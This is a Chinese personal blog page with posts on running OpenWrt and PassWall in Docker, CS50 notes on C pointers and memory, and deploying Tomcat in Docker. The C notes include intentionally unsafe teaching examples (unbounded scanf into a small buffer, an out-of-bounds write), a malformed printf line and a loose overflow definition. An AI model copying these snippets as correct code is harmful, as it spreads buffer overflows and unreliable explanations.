macvlan 是一种网络驱动程序，它允许Docker 容器直接连接到宿主机的物理网络。使用macvlan 时，每个容器将获得一个唯一的 MAC 地址，并直接出现在物理网络上，就像它是一个独立的设备

使用刚刚创建的镜像并启动容器

docker run --restart always --name openwrt -d --network macnet --privileged pseudowang/openwrt-x86-64

设置容器ip

到目前为止，容器已经启动了，可以通过docker ps -a 查看运行的容器，然后查看OpenWRT 的 container ID

我的容器ID是: 48ec9c884f45，然后我们进入到容器内部并设置容器的ip。通过命令docker exec -it 48ec9c884f45 /bin/sh 进入容器内部

docker exec -it 48ec9c884f45 /bin/sh

下面开始设置容器的ip 以便我们能通过ip 地址访问容器，通过命令: vi /etc/config/network 来设置ip

config interface 'lan'
        option ifname 'eth0'
        option proto 'static'
        option netmask '255.255.255.0'
        option ip6assign '60'
        option ipaddr '192.168.10.110'
        option gateway '192.168.10.1'
        option dns '192.168.10.1'

其中的 option ipaddr 是你的 openwrt 的地址，注意不要与局域网其他设备冲突。option gateway 与 option dns 设置你路由器的地址

保存完成后通过命令 /etc/init.d/network restart 重启网络，重启完成后就可以通过IP 访问我们的 OpenWRT 服务了

登录网页并下载软件包

一开始是不需要密码登录，直接回车登录就行，登录上去记得要更改密码

下载软件包

系统 –> 软件包，然后点击 “更新列表” 但是这里会有一个报错，因为我们没有安装wget-ssl 这个包，所以会导致更新不了，再加上默认的地址似乎不能够使用，所以我换了一个新的地址，这个地址是在官方仓库有人提的Issues中拿到的。(wget returened 1 )

因为没有安装wget-ssl 这个包，update 不了，所以暂时把https 更换为 http，安装源的文件路径为(/etc/opkg/distfeeds.conf)

src/gz immortalwrt_core http://mirrors.cernet.edu.cn/immortalwrt/releases/23.05.1/targets/x86/64/packages
src/gz immortalwrt_base http://mirrors.cernet.edu.cn/immortalwrt/releases/23.05.1/packages/x86_64/base
src/gz immortalwrt_luci http://mirrors.cernet.edu.cn/immortalwrt/releases/23.05.1/packages/x86_64/luci
src/gz immortalwrt_packages http://mirrors.cernet.edu.cn/immortalwrt/releases/23.05.1/packages/x86_64/packages
src/gz immortalwrt_routing http://mirrors.cernet.edu.cn/immortalwrt/releases/23.05.1/packages/x86_64/routing
src/gz immortalwrt_telephony http://mirrors.cernet.edu.cn/immortalwrt/releases/23.05.1/packages/x86_64/telephony

更换安装源，并暂时把https –> http 之后， update 成功

安装wget-ssl 软件包

安装成功后，重新将http 恢复为 https

update 成功!!!

安装theme-argon 软件包

就可以愉快的使用OpenWRT 了。我通过这些步骤完成了ImmortalWrt的搭建，如果你在搭建过程中有错误或者文章哪里写错了，可以在评论中指出，也可以给我发邮件

参考网站: https://github.com/crazygit/openwrt-x86-64

关于

Thu, 04 Jul 2024 02:36:06 +0800

欢迎来到我的博客

✋Hi，我是 pseudowang

希望不断学习，不断成长，无限进步。现阶段的目标是多思考，多看书，找到自己真正想要。

⌛️关于网站

Pseudowang 是我的第一个网站，主要用来记录生活、学习与零碎的一些想法。最早是基于 Hexo 并将页面放到 Github 上，后面不断折腾，最后选择用 Hugo 生成静态网页，并托管于 Github 并绑定 wangzhr.top 域名

Pseudowang 的命名很巧合，在编程中常用到的 pseudocode 是「伪代码」的含义。再加上一直有在看的Pseudoyu的博客，所以就给自己取了一个这个名字

希望自己能多输入一些新的知识和想法，有输出也要有输出，多写一些小文章。

我的邮箱: pseudowang@outlook.com (期待您的来信)

thepseudowang.com 和 wangzhr.top 都是我的博客网址

Docker搭建OpenWrt

Sun, 23 Jun 2024 21:27:28 +0800

前言

这周五的时候，因为上周实训完了，学到了很多东西，学到了Gitlab，之前就有想自己搭建一个自己的代码版本管理仓库，正好宿舍有一台小服务器在Docker 中运行着OpenWRT，一开始一直拉不下来 GitLab 的镜像，好像是因为最近很多国内docker镜像站给关闭了，然后后面通过加速站拉取下拉了，然后发现磁盘空间不够了，然后自己手贱去调整了分区，然后就再也开不了机了(就是自己对这个方面不了解，然后去乱搞才会导致这件事情的发生)，不过上次搭建OpenWRT 和 nas-tools 的时候没有写笔记，然后已经忘了差不多了。这次花了很多时间就是因为上次没有写笔记进行总结，才会花费了这么长的时间，所以这次打算把全部过程记录下来，这样给以后自己手贱搞坏服务器的时候可以用(最好还是别发生，真的很累)

Docker 安装

这个可以直接搜索，因为现在使用的官方安装脚本已经不能用了，不知道到时候再用的时候，我推荐的安装方法会不会也不可以用了，建议要用的时候直接Google，使用国内可以安装的方法

设置网络

将网卡混杂模式打开

sudo ip link set enp3s0 promisc on

创建 Docker 网卡

docker network create -d macvlan --subnet=192.168.10.0/24 --gateway=192.168.10.1 -o parent=enp3s0 macnet

下载openwrt 镜像并启动容器

GitHub 仓库这里包含了很全的镜像文件包含了 arm，x86，x64的docker镜像，我的机器是NUC，所以我安装的是x64 的 docker 镜像。可以通过uname -a 查看

拉取镜像docker pull sulinggg/openwrt:x86_64 如果拉取不下来的话，可以使用作者的阿里云镜像仓库 registry.cn-shanghai.aliyuncs.com/suling/openwrt:x86_64 镜像还是一样的

启动 OpenWRT 镜像

docker run --restart always --name openwrt -d --network macnet --privileged sulinggg/openwrt:x86_64 /sbin/init

设置容器ip

到目前为止，容器已经启动了，可以通过docker ps -a 查看运行的容器，然后查看OpenWRT 的 container ID

我的容器ID是: e599eb6c7a3a ，然后我们进入容器内部并设置容器的ip。通过命令 docker exec -it e599eb6c7a3a 进入容器内部

docker exec -it e599eb6c7a3a /bin/bash

下面开始设置容器的ip 以便我们能通过ip 地址访问容器，通过命令: vim /etc/config/network 来设置ip。

config interface 'lan'
        option ifname 'eth0'
        option proto 'static'
        option netmask '255.255.255.0'
        option ip6assign '60'
        option ipaddr '192.168.10.111'
        option gateway '192.168.10.1'
        option dns '192.168.10.1'

其中的 option ipaddr 是你的 openwrt 的地址，注意不要与局域网其他设备冲突。option gateway 与 option dns 设置你路由器的地址

保存完成后通过命令 /etc/init.d/network restart 重启网络，重启完成后就可以通过IP 访问我们的 OpenWRT 服务了就可以愉快的使用OpenWRT 了

设置OpenWRT

把桥接网络关闭 打开网络 -> 接口 -> LAN -> 物理设置 -> 桥接接口取消勾选

更新PassWall 以使用Hysteria 2 和 TUIC

下载最新 Passwall 及组件包

openwrt-passwall Github 发布页

依赖包luci-lua-runtime 如果出现sing-box 一直安装不上的话，可以将这个依赖包上传并安装好

软件包 luci-23.05_luci-app-passwall_4.77-6_all.ipk
中文包 luci-23.05_luci-i18n-passwall-zh-cn_git-24.152.54078-47d7784_all.ipk
对应CPU架构的组件包 passwall_packages_ipk_x86_64
依赖包luci-lua-runtime OpenWrt 23.05-rc3 以下版本需要

查询软路由CPU架构

uname -m

安装

# 进入安装包所在目录  
cd /tmp/upload  
# 查看目录下所有文件  
ls  
# 解压安装包  
unzip luci-lua-runtime_all_fake.zip 
unzip passwall_packages_ipk_x86_64.zip  
# 清屏  
clear  
# 查看目录下所有文件  
ls  
# 安装所有软件包  
opkg install *.ipk --force-reinstall

参考博客: https://augustdoit.men/passwall-hysteria2/

CS50 Lecture 4-Memory

Wed, 22 May 2024 12:58:30 +0800

这仅仅是我个人的学习笔记，没有什么干货，可能会有写错的信息，不推荐观看学习!

Welcome

在前几周，我们谈论到了图像是由称为pixel的较小构建块组成的

Pixel Art

像素是正方形，单个点，颜色排列在上下左右网格之中
可以将图像想象为 bits，其中0代表黑色，1代表白色
RGB，其实就是 red, green, bule，这些数字是表示这些颜色中每种颜色的数量。在Adoble Photoshop 中，你可以看到这些设置
从上图可以看出，颜色不仅仅用三个值来表示。在窗口的底部，有一个由数字和字符组成的特殊值。255表示FF，这就是Hexadecimal

Hexadecimal(十六进制)

Hexadecimal 是一种具有16个计数值的计数系统

0 1 2 3 4 5 6 7 8 9 a b c d e f

其中的F 代表的是 15

Hexadecimal 也被称为 base-16
以十六进制计数的时候，每列就是16的幂
数字0 表示00
数字1 表示 01
数字9 表示 09
数字10 表示 0A
数字15 表示 0F
数字16 表示 10(是十六进制中的10而不是我们日常中使用的10)
数字255表示 FF，因为 16 x 15 是240。再加上15，得到的255。这个是你使用两位十六进制系统计算的最高数字

Memory

将十六进制应用于每个内存块，如果我们还想之前一样使用的话，我们就会很容易将十六进制中的10 和二进制中的10 混淆
因此，按照惯例，所有十六进制的数通常用0x作为前缀表示
在终端窗口中，输入code addresses.c，并按照以下方式编写代码

#include <stdio.h>

int main(void)
{
    int n = 50;
    printf("%i\n", n);
}

其中n是怎么存储在内存中的，值为50

你可以可视化此程序为什么会占用4个格子呢，因为int类型大小是 4 bytes
在 C 语言中有两个与内存相关的强大运算符

  & 提供存储在内存中某物的地址.
  * 指示编译器前往内存中的某个位置.

我们可以通过修改代码来利用这些知识

#include <stdio.h>

int main(void)
{
    int n = 50;
    printf("%p\n", &n);
}

其中的%p，它允许我们擦看内存中某个位置的地址。&n可以当成n的地址。执行此代码将返回以0x开头的内存地址

Pointers(指针)

pointer 是包含某个值的地址的变量。简而言之，指针是计算机内存中的一个地址

#include <stdio.h>

int main(void)
{
	int n = 50; //声明一个int类型的n变量,将其初始化为50
	int *p = &n; //声明了指针变量p,&n获取n的地址,并将地址赋值指针变量p
	printf("%p\n, p"); //将指针变量p的地址打印输出
}

注意，printf行在p的位置打印整数。int *p 创建一个指针，其工作是存储整数的内存地址

我们可以将我么的代码可视化如下注意，指针看起来相当大。事实上，指针通常存储为 8-byte。p存储50的地址
你可以更准确地将指针可视化为指向另一个地址的一个地址

Strings

现在我们学习了基本的指针，我们可以剥离课程前面提供的简化程序(丢掉辅助轮)
回想一下，string 只是一个字符数组。例如,，string s = "HI!" 可以表示如下
然而，s 到底是什么? s存储在内存中的什么位置? 可以想象, s 需要存储在某个地方。你可以可视化s 与字符串的关系注意名为s的指针如何告诉编译器字符串的第一个字节在内存中的位置
按如下方式修改代码

#include <cs50.h>
#include <stdio.h>

int main(void)
{
    string s = "HI!";
    printf("%p\n", s);
    printf("%p\n", &s[0]);
    printf("%p\n", &s[1]);
    printf("%p\n", &s[2]);
    printf("%p\n", &s[3]);
}

上面打印了字符串s中每个字符的内存位置。&符号用于显示字符串中每个元素的地址。运行此代码时，注意元素0、1、2和3在内存中彼此相邻

同样，你可以按照以下方法修改代码

#include <stdio.h>

int main(void)
{
    char *s = "HI!";
    printf("%s\n", s);
}

此代码将显示从s位置开始的字符串。此代码有效地删除了cs50.h提供的string数据类型的辅助轮。这是原始C代码，没有cs50库的脚手架

Pointer Arithmetic

可以修改代码以更长的形式完成相同的操作

#include <stdio.h>

int main(void)
{
    char *s = "HI!";
    printf("%c\n", s[0]);
    printf("%c\n", s[1]);
    printf("%c\n", s[2]);
}

也可以使用以下方法修改代码

#include <stdio.h>

int main(void)
{
    char *s = "HI!";
    printf("%c\n", *s);
    printf("%c\n", *(s + 1));
    printf("%c\n", *(s + 2));
}

打印了s 位置的第一个字符。然后，打印位置为s+1处的字符，以此类推输出的结果就是

String Comparison

A string 只是由其第一个字节表示的字符数组
在课程的前面，我们考虑了整数的比较。我们可以通过在中终端中输入codecompare.c并编写代码来咋代码中表示这一点

#include <cs50.h>
#include <stdio.h>

int main(void)
{
    // Get two integers
    int i = get_int("i: ");
    int j = get_int("j: ");

    // Compare integers
    if (i == j)
    {
        printf("Same\n");
    }
    else
    {
        printf("Different\n");
    }
}

注意，上面的代码从用户那里获取两个整数并进行比较

但是对于Strings，不能使用== 运算符比较两个字符串
使用== 运算符尝试比较字符串将尝试比较字符串的内存位置，而不是其中的字符。因此可以使用strcmp
请按如下方式修改代码

#include <cs50.h>
#include <stdio.h>

int main(void)
{
    // Get two strings
    char *s = get_string("s: ");
    char *t = get_string("t: ");

    // Compare strings' addresses
    if (s == t)
    {
        printf("Same\n");
    }
    else
    {
        printf("Different\n");
    }
}

注意，输入两个HI!，仍然会导致Different 的输出

为什么会这样，因为比较的两个字符串的内存地址，而不是比较其中的字符。可以通过以下内容来直观地说明原因
上面地compare.c 实际上是在比较内存地址是是否相同，而不是字符本身
使用strcmp, 我们可以纠正我们地代码:

#include <cs50.h>
#include <stdio.h>
#include <string.h>

int main(void)
{
    // Get two strings
    char *s = get_string("s: ");
    char *t = get_string("t: ");

    // Compare strings
    if (strcmp(s, t) == 0)
    {
        printf("Same\n");
    }
    else
    {
        printf("Different\n");
    }
}

注意，如果字符串相同，strcmp 可以返回0

为了进一步说明这两个字符串如果存在与两个位置，可以修改成以下代码

#include <cs50.h>
#include <stdio.h>

int main(void)
{
    // Get two strings
    char *s = get_string("s: ");
    char *t = get_string("t: ");

    // Print strings
    printf("%s\n", s);
    printf("%s\n", t);
}

注意，我们现在有两个不同的字符串，分别存储在两个不同的地址位置

只需稍作修改，就能看到这两个字符串存储的地址

#include <cs50.h>
#include <stdio.h>

int main(void)
{
    // Get two strings
    char *s = get_string("s: ");
    char *t = get_string("t: "); 

    // Print strings' addresses
    printf("%p\n", s); //%p 就是pointer代表输出s的地址
    printf("%p\n", t);
}

Copying

在编程的一个常见需求就是将一个字符串复制到另一个字符串
创建一个新的copy.c 文件，并编写代码如下

#include <cs50.h> 
#include <ctype.h>
#include <stdio.h>
#include <string.h>

int main(void)
{
    // Get a string
    string s = get_string("s: ");

    // Copy string's address
    string t = s;

    // Capitalize first letter in string
    t[0] = toupper(t[0]);

    // Print string twice
    printf("s: %s\n", s);
    printf("t: %s\n", t);
}

注意，string t = s 将 s 的地址复制到了 t。这并没有达到我们的目的。字符串并没有被复制，复制的只是地址

你可以将上述代码可视化成如下

请注意，s和t仍然指向相同的内存块。这并不是字符串的真实COPY。相反，这两个指针指向的是同一个字符串。

在解决这个问题之前，我们必须要确保我们的代码不会出现 [[segmentation fault]]，即将sstring s 复制到 string t中，而string t 并不存在。我们可以使用strlen函数来帮助解决这个问题:

#include <cs50.h>
#include <ctype.h>
#include <stdio.h>
#include <string.h>

int main(void)
{
    // Get a string
    string s = get_string("s: ");

    // Copy string's address
    string t = s;

    // Capitalize first letter in string
    if (strlen(t) > 0)
    {
        t[0] = toupper(t[0]);
    }

    // Print string twice
    printf("s: %s\n", s);
    printf("t: %s\n", t);
}

strlen 是用来确保 string t 是否存在。如果不存在，就不会复制任何内容

为了能够制作字符串的真实COPY，我们需要引入两个新的构建模块。首先，malloc 允许程序员分配一个特定大小的内存块。其次，free允许你告诉编译器释放之前分配的内存块
我们可以修改代码，如下所示创建字符串的真实副本(COPY)

#include <cs50.h>
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void)
{
    // Get a string
    char *s = get_string("s: ");

    // Allocate memory for another string
    char *t = malloc(strlen(s) + 1);

    // Copy string into memory, including '\0'
    for (int i = 0; i <= strlen(s); i++)//给字符串末尾的空字符('\0')创建空间
    {
        t[i] = s[i];
    }

    // Capitalize copy
    t[0] = toupper(t[0]);

    // Print strings
    printf("s: %s\n", s);
    printf("t: %s\n", t);
}

注意，使用malloc 和 free 确保已经引入stdlib.h 头文件。malloc(strlen(s) + 1 ) 创建的内存块长度是字符串s 的长度加1。这样就可以在最终复制的字符串中包含空\0 字符。然后，for循环遍历字符串s，并将每个值赋值到字符串t的相同位置

原来我们的代码效率不高。修改代码如下:

#include <cs50.h>
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void)
{
    // Get a string
    char *s = get_string("s: ");

    // Allocate memory for another string
    char *t = malloc(strlen(s) + 1);

    // Copy string into memory, including '\0'
    for (int i = 0, n = strlen(s); i <= n; i++)
    {
        t[i] = s[i];
    }

    // Capitalize copy
    t[0] = toupper(t[0]);

    // Print strings
    printf("s: %s\n", s);
    printf("t: %s\n", t);
}

注意，n = strlen(s) 现在定义在for loop 的左侧。做好不要在for 循环的中间条件中调用不需要的函数，因为它会反复运行。将n = strlen(s) 移到左侧后，函数strlen 只运行一次

C语言有一个用于复制字符串的内置函数，称为strcpy

#include <cs50.h>
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void)
{
    // Get a string
    char *s = get_string("s: ");

    // Allocate memory for another string
    char *t = malloc(strlen(s) + 1);

    // Copy string into memory
    strcpy(t, s);

    // Capitalize copy
    t[0] = toupper(t[0]);

    // Print strings
    printf("s: %s\n", s);
    printf("t: %s\n", t);
}

注意，strcpy 所做的工作与之前的for 循环相同

如果出现问题， get_string 和 malloc 都会返回 NULL，即内存中的一个特殊值。可以编写以下代码来检查NULL 条件

#include <cs50.h>
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void)
{
    // Get a string
    char *s = get_string("s: ");
    if (s == NULL)
    {
        return 1;
    }

    // Allocate memory for another string
    char *t = malloc(strlen(s) + 1);
    if (t == NULL)
    {
        return 1;
    }

    // Copy string into memory
    strcpy(t, s);

    // Capitalize copy
    if (strlen(t) > 0)
    {
        t[0] = toupper(t[0]);
    }

    // Print strings
    printf("s: %s\n", s);
    printf("t: %s\n", t);

    // Free memory
    free(t);
    return 0;
}

注意，如果获得的字符串长度为0 或 malloc fails，则返回NULL。此为，请注意free可以让计算机知道你已经完成了通过malloc创建的内存块，从而告诉编译器释放之前分配的内存块

malloc and Valgrind

Valgrind 是一款可以检查程序是否存在内存相关问题的工具，在这些问题中，你使用了malloc。具体来说，它会检查你是否free 分配的所有内存
以下是memory.c的代码

#include <stdio.h>
#include <stdlib.h>

int main(void)
{
    int *x = malloc(3 * sizeof(int));
    x[1] = 72;
    x[2] = 73;
    x[3] = 33;
}

注意，运行该程序不会导致任何错误。虽然malloc 用于为数组分配足够的内存，但是没有free 释放之前分配的内存块

这个时候输入make memory 然后执行 valgrind ./memory，你就会从 valgrind 收到一份报告，告诉你的程序在哪些地方导致了内存泄漏。 valgrind 显示的一个错误是，我们试图在数组的第4个位置赋值为33，但我们只分配了一个大小为3 的数组。另一个错误是我们未释放x
可以按照如下方式修改代码

#include <stdio.h>
#include <stdlib.h>

int main(void)
{
    int *x = malloc(3 * sizeof(int));
    x[0] = 72;
    x[1] = 73;
    x[2] = 33;
    free(x);
}

再次运行 valgrind 不会出现内存泄漏

Garbage Values

当你要求编译器提供一个内存块时，并不能保证这个内存块是空的
你分配的这些内存很有可能之前已经被计算机使用过。因此，你可能会看到 garbage values。这是因为你获得了一个内存块，但没有对其进行初始化。例如，下面是garbage.c的代码

#include <stdio.h>

int main(void)
{
    int scores[1024];
    for (int i = 0; i < 1024; i++)
    {
        printf("%i\n", scores[i]);
    }
}

注意，运行这段代码将为数组分配1024个内存位置，但for循环可能会显示其中并非所有值都是0。如果不将内存块初始化为其他值(如0或其他值)，就有可能产生垃圾值

Pointer Fun with Binky

我们观看斯坦福大学的一段视频，它帮助我们直观地理解了指针

Swap

在现实世界中，编程的一个常见需求是交换两个值。当然，如果没有临时的容纳空间，就很难交换两个变量。在实际操作中，你可以输入code swap.c 并编写如下如下代码来了解这种情况(可以在Lecture4视频查看

#include <stdio.h>

void swap(int a, int b);

int main(void)
{
    int x = 1;
    int y = 2;

    printf("x is %i, y is %i\n", x, y);
    swap(x, y);
    printf("x is %i, y is %i\n", x, y);
}

void swap(int a, int b)
{
    int tmp = a;
    a = b;
    b = tmp;
}

注意，这段代码在运行时并不工作。即使在发送到swap 函数后，数值也不会交换，为什么呢

当你向函数传递值时，你只是提供了副本。在前几周，我们讨论了作用域的概念。在main函数的大括号{}中创建的x和y值只有main函数的作用域

注意，全局变量(我们在本课程中没有使用过的)存储在内存的一个位置。不同的函数存储在内存中另一个区域的stack中

请看下图: 注意， main和swap 有两个独立的内存框架或区域。因此，我们不能简单地将值从一个函数传递给另一个函数来改变它们所以，可以使用return语句来返回值。但是在C语言中，不能直接通过return来返回多个值来交换两个变量地值，因为C语言地函数只能返回一个值

passing by reference

也就是 passing by pointer，来实现这个功能

#include <stdio.h>

void swap(int *a, int *b);

int main(void)
{
    int x = 1;
    int y = 2;

    printf("x is %i, y is %i\n", x, y);
    swap(&x, &y);
    printf("x is %i, y is %i\n", x, y);
}

void swap(int *a, int *b)
{
    int tmp = *a;
    *a = *b;
    *b = tmp;
}

注意，变量不是通过 value 传递的，而是通过 reference 传递的。也就是说， a 和 b 的地址是提供给函数的。因此，swap 函数可以知道从主函数中对实际的a 和 b 进行修改的位置

可以将形象化如下

Overflow

A heap overflow 是指内存栈溢出，触及到不该触及的内存区域
A stack overflow 是指调用的函数过多，导致可用的内存量溢出
这两种情况都属于buffer overflows
当我们使用malloc 并向计算机请求内存时，它来自heap 区域
当你用带有变量的和参数的函数时，就是正在使用stack memory

`scanf`

在CS50中，我们创建了get_int 等函数来简化从用户获取输入的过程
scanf 是一个内置函数，可以获取用户输入
我们可以很容易地用scanf 重新实现 get_int的功能

#include <stdio.h>

int main(void)
{
    int x;
    printf("x: ");
    scanf("%i", &x);
    printf("x: %i\n", x);
}

请注意， x的值存储在行scanf("%i", &x) 中x的位置

但是呢，试图重新实现get_string 并不容易

#include <stdio.h>

int main(void)
{
    char *s;
    printf("s: ");
    scanf("%s", s);
    printf("s: %s\n", s);
}

由于字符串比较特殊，所以不需要&。尽管如此，这个程序还是无法运行。在这个程序中，我们没有为字符串分配所需的内存量。事实上，我们并不知道用户可能输入多长的字符串

此外，代码可以修改如下。不过，我们必须为字符串预分配一定量的内存

#include <stdio.h>
#include <stdlib.h>

int main(void)
{
    char *s = malloc(4);
    if (s == NULL)
    {
        return 1;
    }
    printf("s: ");
    scanf("%s", s);
    printf("s: %s\n", s);
    free(s);
    return 0;
}

如果提供的字符串长度为6 bytes ，则可能会出现错误

将代码简化，我们就能进一步理解预分配这一重要问题:

#include <stdio.h>

int main(void)
{
    char s[4];
    printf("s: ");
    scanf("%s", s);
    printf("s: %s\n", s);
}

如果我们预分配了一个大小为4 的数组，我们可以输入cat 并执行程序功能。但是，如果字符串大于这个大小，就会产生错误。

有时，编译器或运行编译器的系统可能会分配比我们指示的更多的内存。但从根本上，上述代码是不安全的。我们不能相信用户输入的字符串会适合我们预先分配的内存

File I/O

你可以读取和操作文件，下面是phonebook.c 的代码

#include <cs50.h>
#include <stdio.h>
#include <string.h>

int main(void)
{
    // Open CSV file
    FILE *file = fopen("phonebook.csv", "a");

    // Get name and number
    char *name = get_string("Name: ");
    char *number = get_string("Number: ");

    // Print to file
    fprintf(file, "%s,%s\n", name, number);

    // Close file
    fclose(file);
}

注意，这段代码使用指针访问文件

你可以运行上面代码前创建一个名为phonebook.csv的文件。运行上述程序并输入姓名和电话号码后，就会发现这些数据一直存在CSV文件中
如果我们想在运行程序之前确保phonebook.csv 存在，可以对代码作如下修改:

#include <cs50.h>
#include <stdio.h>
#include <string.h>

int main(void)
{
    // Open CSV file
    FILE *file = fopen("phonebook.csv", "a");
    if (!file)
    {
        return 1;
    }

    // Get name and number
    char *name = get_string("Name: ");
    char *number = get_string("Number: ");

    // Print to file
    fprintf(file, "%s,%s\n", name, number);

    // Close file
    fclose(file);
}

注意，该程序通过调用return 1 来防止出现NULL 指针

我们可以通过输入code cp.c 并编写如下代码来实现自己的复制程序:

#include <stdio.h>
#include <stdint.h>

typedef uint8_t BYTE;

int main(int argc, char *argv[])
{
    FILE *src = fopen(argv[1], "rb");
    FILE *dst = fopen(argv[2], "wb");

    BYTE b;

    while (fread(&b, sizeof(b), 1, src) !=0)
    {
        fwrite(&b, sizeof(b), 1, dst);
    }

    fclose(dst);
    fclose(src);
}

注意，该文件创建了我们自己的数据类型，称为BYTE，其大小与uint8_t 相同。然后，文件读取BYTE 并将其写入文件

Summing Up

在本课中，您将学习指针的相关知识，它为你提供了在特定内存位置访问和操作数据的能力。具体来说，我们深入研究了…

Pixel art
Hexadecimal
Memory
Pointers
Strings
Pointer Arithmetic
String Comparison
Copying
malloc and Valgrind
Garbage values
Swapping
Overflow
scanf
File I/O

在Docker中部署Tomcat环境并制作镜像添加自定义页面

Fri, 03 May 2024 21:39:25 +0800

当你开始这个任务的时候，希望你已经基本了解Docker是什么东西，基本的命令

Docker 快速入门文档(推荐)

Docker 快速入门文档配套视频

Docker官网给Docker的概述(开翻译插件去看)

任务8

编写一个Java Web项目，发布为war包，并在Docker容器中运行

我已经写好了一个基本的Java Web 页面，简单的Hello world，并完成了war包的打包打包教程CSDN

安装Docker Engine

我们用的系统是Centos7，所以就可以直接去Docker 官方去找安装教程Centos Docker安装教程，但是我给你的虚拟机已经配置好了Docker环境，所以这一步可以跳过，但是最好可以去看一下了解一下Docker大致的安装步骤，也很简单官方都是直接给一个安装脚本，复制粘贴跑就完了

编写一个Java Web项目，发布为war包

制作的 web 包已经一起发给你了，名字为myweb.war

在Docker 运行一个Tomcat容器

[root@tomcat ~]# docker run -d -p 8080:8080 tomcat:latest

# -d, --detach  在后台运行container并打印container ID
# -p, --publish 将container端口发布到host 
#tomcat:latest 表示使用tomcat最新的镜像,latest的英文意思就是最新的,最近的

container 就是容器的意思

你可能觉得上面是报错了，但其实不是的，他们提示的是Unable to find image 'tomcat:lastest' locally，说明你本地没有tomcat的镜像，他从Docker registries中给你拉取就是下载镜像(Docker registries 就像我之前给你解释的应用商城一样，而Docker registries是 Docker 官方的命名)

ChatGPT翻译

如果它报错

docker: Error response from daemon: driver failed programming external connectivity on endpoint naughty_torvalds (0edd856e1b25bbf689ba039aac0d2aa33d4eb334fbd50d4915a774912ad27f3e): Error starting userland proxy: listen tcp4 0.0.0.0:8080: bind: address already in use.

说明本机的8080 端口给占用了，可以使用netstat 来进行查看

[root@tomcat docker]# netstat -antup | grep 8080                                                                                                  
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      943/nginx: master p

看到的是nginx 服务占用了我们的8080端口，然后nginx 服务的pid 为 943，我们使用kill 命令来杀掉这个进程

[root@tomcat docker]# kill -9 943
# -9 为强制删除，强制删掉这个进程

以防等会重启的时候又要重新杀掉进程，可以使用stop命令和disable 来关闭 nginx服务，在关闭之前需要确认这个服务是否需要，是否需要一直运行着(这台虚拟机是不需要这个服务的)

[root@tomcat Share]# systemctl stop nginx                                
#这会停止nginx服务，但机器重启之后nginx服务还会打开,这个时候就要使用disable命令

[root@tomcat Share]# systemctl disable nginx  #关闭开机自启动                                                    
Removed symlink /etc/systemd/system/multi-user.target.wants/nginx.service.

然后我们再重新运行docker run -d -p 8080:8080 tomcat:latest

我们使用docker ps -a 查看正在运行的进程，其中的ps 代表 process status(进程状态)的缩写

我们使用IP 加端口号8080访问我们的Tomcat网页，查看本机IP可以使用ip add 来进行查看 Tomcat运行成功

在VMware上给Centos建立共享文件夹

打开VMware，打开你正在运行的虚拟机，右键虚拟机
点击 设置
点击共享文件夹 –> 将文件夹贡献选择为总是启用 –> 点击添加，将你要共享的文件夹添加上去(这里要添加上去的文件夹为你存放war包的文件夹) –> 然后就点击 确认
共享文件夹存放的目录是在/mnt/hgfs 之中，但是我这边找不到这个文件夹，我在论坛中找到了解决方法StackExchange
运行完上面的步骤，就可以在/mnt/hgfs 中找到你的共享文件夹了

将共享文件夹中的war包发布到Docker中的Tomcat容器中

使用 docker ps -a 来查看正在运行的(process status 程序状态) 容器，找到我们刚刚跑起来了Tomcat容器，找到它的CONTAINER ID(容器ID)，-a 就是 all ，就是查看全部容器的状态，这里的容器ID为279b8b4a2456

进入我们存放 war 包的位置，我这里是/mnt/hgfs/Share，因为我没有把war包从共享文件夹中移出来，但是最好是把它从共享文件夹中移出来

[root@tomcat ]# mkdir /root/packets #创建一个名为packets的文件夹
[root@tomcat ]# cp /mnt/hgfs/Share/myweb.war /root/packets/
#将/mnt/hgfs/Share/文件夹中的myweb.war文件复制到/root/packets 文件夹中

[root@tomcat Share]# cd /root/packets/
#进入/root/packets 这个文件夹

使用docker cp 命令将war 包复制到容器内

[root@tomcat packets]# docker cp /root/packets/myweb.war 279b8b4a2456:/usr/local/tomcat/webapps  

# 279b8b4a2456 就是我们Tomcat容器的ID,/usr/local/tomcat/webapps,就是Tomcat容器内存放网页的文件夹

Successfully copied 4.1kB to 279b8b4a2456:/usr/local/tomcat/webapps

使用IP:8080/war包名称/来访问网站(不知道自己IP地址可以通过ip add 来进行查看) 这台机子的IP 是 192.168.30.40 成功访问!!

任务9

用编写Dockerfile方式制作一个 Tomcat 容器，并发布一个war包测试。

制作镜像

[root@tomcat ~]# mkdir /root/docker  #创建一个文件夹

将apache-tomcat-7.0.96.tar.gz和jdk-8u211-linux-x64.tar.gz 放到你之前创建的共享文件夹中，方便移到虚拟机中

将apache-tomcat-7.0.96.tar.gz和jdk-8u211-linux-x64.tar.gz 放到刚刚创建的docker 文件夹中

[root@tomcat Share]# cp /mnt/hgfs/Share/apache-tomcat-7.0.96.tar.gz /root/docker/                                                                                                      
[root@tomcat Share]# cp /mnt/hgfs/Share/jdk-8u211-linux-x64.tar.gz /root/docker/

进入到 docker 文件夹中 cd /root/docker

创建一个 Dockerfile 文件，里面写入

# 基本镜像
FROM centos
# 把你上传的 JDK 放到 Docker 容器里面的 root 目录下
ADD jdk-8u211-linux-x64.tar.gz /root
# 把你上传的 Tomcat 放到 Docker 容器里面的 root 目录下
ADD apache-tomcat-7.0.96.tar.gz /root
# 设置环境变量
ENV JAVA_HOME /root/jdk1.8.0_211
# 设置环境变量
ENV CLASSPATH ${JAVA_HOME}/lib/dt.jar:${JAVA_HOME}/lib/tools.jar
# 设置环境变量
ENV CATALINA_HOME /root/apache-tomcat-7.0.96
# 设置环境变量
ENV CATALINA_BASE /root/apache-tomcat-7.0.96
# 设置环境变量
ENV PATH ${PATH}:${JAVA_HOME}/bin:${CATALINA_HOME}/bin
# 执行 startup.sh 并打开日志
ENTRYPOINT /root/apache-tomcat-7.0.96/bin/startup.sh && tail -F /root/apache-tomcat-7.0.96/logs/catalina.out

使用docker build -t tomcattest:latest . 来构建镜像

构建完成

使用docker images 查看一下刚刚构建好的镜像其中的 tomcattest 就是我们刚刚构建好的镜像

使用刚刚构建好的镜像运行容器

[root@tomcat docker]# docker run -d -p 8090:8080 tomcattest
